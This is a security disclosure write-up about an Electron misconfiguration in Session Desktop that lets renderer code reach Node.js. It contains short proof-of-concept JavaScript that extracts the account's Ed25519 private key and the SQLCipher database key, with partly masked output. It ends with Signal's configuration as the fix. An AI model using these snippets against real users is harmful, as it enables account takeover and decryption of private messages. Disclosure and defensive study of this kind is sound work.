Unprotected: How a Critical Electron Misconfiguration Compromises Session Desktop Users
Executive Summary
Session Desktop, a privacy-focused messenger used by journalists, activists, and privacy-conscious people worldwide, has a critical vulnerability that allows complete remote account compromise.
Through that single vulnerability, an attacker can extract the account’s Ed25519 private key, decrypt the entire message history, and impersonate the user to all contacts.
Why This Matters
Session’s main selling point is simple. No phone numbers. No email. No metadata collection. Just private, encrypted messaging through a decentralized network.
This vulnerability breaks Session’s core promise. Users think their communications are safe. They’re not. A single bug in how messages are handled could compromise the entire account.
Technical Details: The Root Cause
The issue is in how Session configures Electron, the framework used to build the application. The user interface (renderer process) gets unrestricted access to Node.js and the operating system.
Proof of Concept: Demonstrating the Risk
To demonstrate that this vulnerability is real, we tested it both locally and remotely. The following shows what an attacker can do once they achieve code execution in the renderer:
Extract the Private Key
The following code can extract the account’s Ed25519 private key:
1
2
3
4
const UserUtils = require('./ts/session/utils/User');
const keypair = await UserUtils.getUserED25519KeyPairBytes();
const privateKeyHex = Buffer.from(keypair.privKeyBytes).toString('hex');
console.log('PRIVATE_KEY=' + privateKeyHex);
Output:
1
PRIVATE_KEY=99ae3a24d61b9913992225f5151c556d[..64 characters masked..]7b30514af
This 128-character hex string is the account’s Ed25519 private key. The master credential for the entire Session account.
Extract the Database Encryption Key
1
2
3
4
5
6
const fs = require('fs');
const path = require('path');
const appData = process.env.APPDATA;
const configPath = path.join(appData, 'Session', 'config.json');
const config = JSON.parse(fs.readFileSync(configPath, 'utf-8'));
console.log('DATABASE_KEY=' + config.key);
Output:
1
DATABASE_KEY=c352b5ada8e352d6b25ab6b8[..32 characters masked..]97a037b30514af
This is the SQLCipher encryption key. Combined with the private key, all stored messages can be decrypted.
What This Vulnerability Enables
Once an attacker achieves code execution in the renderer (through any code injection bug), they have complete system access. Here’s what becomes possible:
Complete Account Takeover
The private key isn’t just a password. It IS the account. An attacker with this key can log in from any device as the real user. The real user can’t prevent this, can’t revoke it, can’t even know it happened.
Once the keys are extracted, the user’s only option is to create a new Session account. They can’t revoke the old one. Can’t invalidate the stolen keys. The attacker can keep using the account they stole indefinitely while the real user is locked out of their own account.
Why This Is Critical
Remote Code Execution
This isn’t just a vulnerability in one part of the application. Due to the Electron misconfiguration, ANY code injection bug becomes remote code execution that can extract keys and compromise the account.
XSS vulnerabilities are common. Message parsing bugs are common. Attachment handling issues are common. In a normal application, these are serious but limited. Here, any one of them becomes a complete account takeover.
If an attacker can inject JavaScript into the renderer through any vectors, they can execute the key extraction code remotely.
We have already demonstrated and were able to successfully complete an ATO attack and extract the victim’s private key completely remotely.
What This Means
The fundamental issue is simple: because the renderer can execute arbitrary Node.js code, any code execution bug becomes a system compromise.
With proper security configuration (context isolation + no node integration), even if an XSS vulnerability exists, an attacker gets access to a sandboxed renderer. They can’t access the filesystem or extract keys.
Signal Desktop Did This Right
Session is a fork of Signal Desktop, which was created in 2018 and is a widely-used, respected secure messenger trusted by millions of users worldwide.
Around 2020–2021, Signal’s developers looked at their Electron configuration and realized something: their settings had the same vulnerabilities we’re discussing. They had made the same choices Session made. They changed them. They fixed it.
Signal improved its Electron configuration like this:
- Set
contextIsolation: true(put the checkpoint back) - Set
nodeIntegration: false(don’t let the interface access the system) - Implemented proper
contextBridgefor controlled communication (a proper system for requests)
Session forked from Signal before or during this migration and never applied the fixes. This makes it a Session-specific problem, not something they inherited from upstream.
If you’re building a desktop messenger, you have two choices: follow Signal’s proven approach, or make Session’s mistakes. Session unfortunately chose the latter.
Conclusion
Because of how Electron is configured, a single XSS bug, a single message parsing flaw, or a single content rendering vulnerability becomes a complete account takeover. An attacker doesn’t need physical access or the password. They need one bug.
A malicious message could trigger it. A crafted attachment could trigger it. Any code injection becomes “extract the private key and decrypt all messages.”
The real question is why this happened in the first place. Session is a security-focused application. Its entire job is to keep conversations private. Yet the most basic security principles weren’t followed in the Electron configuration.